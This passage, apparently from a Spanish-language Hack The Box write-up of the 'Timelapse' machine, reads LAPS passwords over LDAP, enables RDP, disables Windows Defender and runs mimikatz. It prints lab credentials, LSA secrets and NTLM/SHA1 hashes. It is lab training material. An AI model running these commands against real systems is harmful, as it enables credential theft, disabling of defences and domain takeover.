  • -d 'timelapse.htb' → nombre del dominio.

  • -u 'svc_deploy' → nombre de usuario.

  • -p 'E3R$Q62^12p7PLlC%KWaxuaV' → contraseña del usuario.

  • get search → comando interno de bloodyAD para realizar una búsqueda LDAP.

  • --filter '(ms-mcs-admpwdexpirationtime=*)' → filtra solo objetos que tengan ese atributo LAPS.

  • --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime → atributos que se quieren obtener (contraseña + expiración).

nxc

  • nxc ldap 10.10.11.152 → ejecuta el módulo LDAP contra la IP objetivo.

  • -u 'svc_deploy' → nombre de usuario.

  • -p '...' → contraseña.

  • -M laps → módulo especializado que automatiza la búsqueda de contraseñas LAPS.

ldapsearch

  • -x → usa autenticación simple (bind directo).

  • -H ldap://DC01.timelapse.htb → URL del servidor LDAP.

  • -D 'svc_deploy@timelapse.htb' → usuario que realiza el bind (formato UPN).

  • -w '...' → contraseña del usuario.

  • -b 'DC=timelapse,DC=htb' → base del árbol LDAP (el dominio).

  • '(ms-Mcs-AdmPwd=*)' → filtro LDAP: busca objetos que tengan ese atributo.

  • ms-Mcs-AdmPwd → atributo que queremos ver: contiene la contraseña administrada.

Volvemos a testear estas credenciales con services_validation.sh y vamos a ver que tenemos acceso a casi todos los servicios, por lo tanto solo quedaría conectarnos al winrm y buscar las flags para terminar con el CTF

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# service_validation.sh timelapse.htb Administrator 'W+Oyp}1)lD;kgIe%m},N2+4f'
[*] Probando credenciales contra timelapse.htb con usuario 'Administrator'...

--- Probando smb ---
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.152    445    DC01             [+] timelapse.htb\Administrator:W+Oyp}1)lD;kgIe%m},N2+4f (Pwn3d!)

--- Probando ldap ---
SMB         10.10.11.152    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.152    389    DC01             [+] timelapse.htb\Administrator:W+Oyp}1)lD;kgIe%m},N2+4f (Pwn3d!)

--- Probando winrm ---
WINRM-SSL   10.10.11.152    5986   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:timelapse.htb)
WINRM-SSL   10.10.11.152    5986   DC01             [+] timelapse.htb\Administrator:W+Oyp}1)lD;kgIe%m},N2+4f (Pwn3d!)

--- Probando rdp ---

--- Probando mssql ---

--- Probando wmi ---
RPC         10.10.11.152    135    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:timelapse.htb)
WMI         10.10.11.152    135    DC01             [+] timelapse.htb\Administrator:W+Oyp}1)lD;kgIe%m},N2+4f (Pwn3d!)

--- Probando ftp ---

--- Probando ssh ---

Bonus: habilitar la conexión RDP y apagar el defender para jugar con mimikatz

Aprovechando la sesión del usuario Administrator podemos realizar el siguiente paso a paso para obtener una conexión por RDP:

  • Habilitar RDP en el equipo comprometido

  • Abrir el firewall

  • Redirigir el puerto 3389 (RDP) con socat

  • Conectarte desde el Kali vía RDP

1) Desde la sesión de EvilWinRM del usuario Administrator habilitamos las conexiones RDP entrantes en el sistema, luego creamos las reglas del firewall para permitir el tráfico RDP (abrimos el puerto 3389 para TCP y UDP) y reiniciamos el servicio RDP. Por último dejamos cargado el ejecutable de mimikatz para usarlo desde rdp cuando nos conectemos

┌──(root㉿kali)-[/home/kali/Documents/HTB/TIMELAPSE]
└─# evil-winrm -i 10.10.11.152 -u 'Administrator' -p '36/,86v7,A6evZ82P%ktR.l8' -S
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline                                                                                                                
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Warning: SSL enabled
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0
 
*Evil-WinRM* PS C:\Users\Administrator\Documents> New-NetFirewallRule -DisplayName "Allow RDP TCP" -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Allow

*Evil-WinRM* PS C:\Users\Administrator\Documents>New-NetFirewallRule -DisplayName "Allow RDP UDP" -Direction Inbound -Protocol UDP -LocalPort 3389 -Action Allow
 
Name                  : {6d3f9ec5-20c4-47d4-bbb4-1ee052f8aa60}
DisplayName           : Allow RDP TCP
Description           :
DisplayGroup          :
Group                 :
Enabled               : True
Profile               : Any
Platform              : {}
Direction             : Inbound
Action                : Allow
EdgeTraversalPolicy   : Block
LooseSourceMapping    : False
LocalOnlyMapping      : False
Owner                 :
PrimaryStatus         : OK
Status                : The rule was parsed successfully from the store. (65536)
EnforcementStatus     : NotApplicable
PolicyStoreSource     : PersistentStore
PolicyStoreSourceType : Local

Name                  : {deb291ea-57b7-492a-8083-78f027dd00b6}
DisplayName           : Allow RDP UDP
Description           :
DisplayGroup          :
Group                 :
Enabled               : True
Profile               : Any
Platform              : {}
Direction             : Inbound
Action                : Allow
EdgeTraversalPolicy   : Block
LooseSourceMapping    : False
LocalOnlyMapping      : False
Owner                 :
PrimaryStatus         : OK
Status                : The rule was parsed successfully from the store. (65536)
EnforcementStatus     : NotApplicable
PolicyStoreSource     : PersistentStore
PolicyStoreSourceType : Local

*Evil-WinRM* PS C:\Users\Administrator\Documents> Restart-Service -Name TermService -Force
 
*Evil-WinRM* PS C:\Users\Administrator\Documents> upload mimikatz.exe
                                        
Info: Uploading /home/kali/Documents/HTB/TIMELAPSE/mimikatz.exe to C:\Users\Administrator\Documents\mimikatz.exe
                                        
Data: 1807016 bytes of 1807016 bytes copied
                                        
Info: Upload successful!

Paso opcional: si queremos conectarnos por RDP desde un segundo equipo que no se encuentra conectado a la VPN de HTB (por ejemplo mi equipo windows local), usamos socat, en la shell de Kali, para puentear la conexión a mi Windows:

┌──(root㉿kali)-[/home/kali]
└─# socat TCP-LISTEN:3389,fork TCP:10.10.11.152:3389

2025/06/16 01:13:00 socat[36847] E read(5, 0x55bea48bd000, 8192): Connection reset by peer

Esto crea una escucha local en Kali (puerto 3389) que reenvía todo el tráfico al puerto RDP de la máquina víctima. ¿Por qué usamos socat? Porque HTB solo permite una conexión VPN activa por cuenta. Esto impide conectarnos directamente desde otro sistema Windows a la IP remota de HTB. Con socat, Kali actúa como intermediario, reenviando el tráfico RDP a través de la VPN.

3) Nos conectamos via RDP desde Kali

┌──(root㉿kali)-[/home/kali]
└─# xfreerdp3 /v:127.0.0.1 /u:'timelapse.htb\Administrator' /p:'36/,86v7,A6evZ82P%ktR.l8'

[01:13:21:051] [37052:000090bd] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]:     : keycode: 0x08 -> no RDP scancode found
[01:13:21:051] [37052:000090bd] [WARN][com.freerdp.client.x11] - [load_map_from_xkbfile]:     : keycode: 0x5D -> no RDP scancode found
[01:13:22:086] [37052:000090bd] [WARN][com.freerdp.crypto] - [verify_cb]: Certificate verification failure 'self-signed certificate (18)' at stack position 0
[01:13:22:086] [37052:000090bd] [WARN][com.freerdp.crypto] - [verify_cb]: CN = dc01.timelapse.htb
[01:13:22:089] [37052:000090bd] [ERROR][com.freerdp.crypto] - [x509_utils_from_pem]: BIO_new failed for certificate

4) Si el Defender nos bloquea el binario de mimikatz podemos desactivarlo con el siguiente comando

PS C:\Users\Administrator\Documents> .\mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit"
 
At line:1 char:1
+ .\mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "e ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand

PS C:\Users\Administrator\Documents> Set-MpPreference -DisableRealtimeMonitoring $true

Con el siguiente comando podemos elevar privilegios dentro de la sesión actual para acceder a información sensible protegida, específicamente los secrets almacenados por LSA (Local Security Authority)

PS C:\Users\Administrator\Documents> .\mimikatz.exe "token::elevate" "lsadump::secrets" "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

564     {0;000003e7} 1 D 35226          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;003746fe} 0 D 24027038    TIMELAPSE\Administrator S-1-5-21-671920749-559770252-3318990721-500    (15g,26p)        Primary
 * Thread Token  : {0;000003e7} 1 D 24089737    NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)

mimikatz(commandline) # lsadump::secrets
Domain : DC01
SysKey : d88b7b8c98a711544956c8ac71fbe251

Local name : DC01 ( S-1-5-21-121789424-3709370612-2164620100 )
Domain name : TIMELAPSE ( S-1-5-21-671920749-559770252-3318990721 )
Domain FQDN : timelapse.htb

Policy subsystem is : 1.18
LSA Key(s) : 1, default {75927e47-3bc8-c7fc-2f70-4f4104695db0}
  [00] {75927e47-3bc8-c7fc-2f70-4f4104695db0} adcff7783191893ac30def060c8b9be752c5ab5bcc060939b3dc130a3f1026d9

Secret  : $MACHINE.ACC
cur/hex : 0e 1a eb 5a 37 ac a5 e0 9c ca 98 b7 ec 12 11 6a 62 ac 1a 9f 95 d9 7e 86 84 a2 45 cb 97 ff a1 a8 49 d2 08 b0 7d 89 f9 70 81 79 ee ea 7a 74 86 bf 3f 2e 5a 86 bd 87 bc f2 3d af b6 18 e2 cc 2c c7 5b 1f 9c d9 d6 95 5f 0a 69 d9 c3 a6 45 0b a5 0d 19 08 fd b1 28 5c 8c 14 52 ee 64 25 0b 7b 06 8e 7a e2 b6 e0 8a c6 b5 a8 8e 05 3e 8a 02 54 69 07 ff 1c 46 1a da 67 90 57 44 58 14 00 2b f9 1f 2e 8f cb c7 21 ea 42 d2 4a 5e 33 ee 36 07 3b e5 1e bb f3 77 a2 59 32 7b a5 1e 6e 1c fc b1 97 3e 74 63 16 98 ec cc b8 14 07 92 95 9d 64 4a 6f 03 98 ab be 58 49 aa 37 94 93 b9 aa 10 02 93 29 36 9d e6 a2 52 2f 60 c6 4b cb f2 12 aa 68 c6 86 2e 9a 3a 96 00 cf 34 68 20 9f d5 b0 f5 24 c7 22 4a 0a 84 ec aa f9 ac 73 d3 7d 33 aa a9 21 00 93 f5 fe
    NTLM:0c0a85a71c691c18498fd750d4a0ce7c
    SHA1:03f7559fe255b251533ac885d8aa69be23fa8baa
old/hex : 06 52 4d 4d 4a de 8b 43 ed 2b 60 b9 01 6a f4 b5 74 49 f4 22 4b 83 93 02 da 32 48 8e 40 8b 19 b1 43 80 f7 d9 68 15 85 70 9b 65 17 c2 f1 59 d7 39 c3 e8 2f a9 b1 d0 5e 5d fd 41 d3 1f cf 7e 6c 2d 3e e3 f5 cd b3 08 9d ba 1a 8b ff b1 fd cc a8 e4 ba 53 cf af 8a 21 6c 73 fe 2f 2f f3 cb 65 f2 12 79 25 5a 12 e9 6b 02 ef 99 59 44 d7 b6 b2 fd 7e bc 1d aa 4d f2 c9 02 19 19 a4 f1 83 69 d5 59 b0 d6 bd f2 19 6b 20 c3 38 ad c3 4d 7f 0c aa c3 3e 6a f4 15 47 fd 64 2c 22 b7 7f 3e 16 af 8d c3 10 58 a2 a6 02 86 0f d2 11 c1 16 3e 78 d1 b9 1e 06 74 81 46 7f 18 c0 2f fd c3 75 9d d8 60 86 41 99 3f 2c 96 1b 55 3d 92 02 7d bb 88 17 de da 12 31 6d b8 89 9b 55 91 53 a6 ae 02 88 2c ad af b3 91 d3 80 27 00 d7 a4 c4 b4 6a ab 32 d9 29 a8 2b 57
    NTLM:48fba7e98d2143f3d61d662d9dafd4d8
    SHA1:1bca7cddcebced734a553f5b4743d0153c6c4a85

Secret  : DPAPI_SYSTEM
cur/hex : 01 00 00 00 bc 6b 4b e0 de 66 f2 62 c7 5d f7 ae 4f 7d ad f3 4f a0 3d dc 07 4f e8 86 0a 0f bc a4 0b 90 2c 40 99 98 b1 b9 cd 33 2c d1
    full: bc6b4be0de66f262c75df7ae4f7dadf34fa03ddc074fe8860a0fbca40b902c409998b1b9cd332cd1
    m/u : bc6b4be0de66f262c75df7ae4f7dadf34fa03ddc / 074fe8860a0fbca40b902c409998b1b9cd332cd1
old/hex : 01 00 00 00 43 05 28 74 c8 bf 19 df dd 8d cf bc 8e 9d 8a ac 40 97 75 af 1d 34 0e 67 76 14 14 0e c9 fd 30 b6 ec de b7 11 a0 91 f7 60
    full: 43052874c8bf19dfdd8dcfbc8e9d8aac409775af1d340e677614140ec9fd30b6ecdeb711a091f760
    m/u : 43052874c8bf19dfdd8dcfbc8e9d8aac409775af / 1d340e677614140ec9fd30b6ecdeb711a091f760

Last updated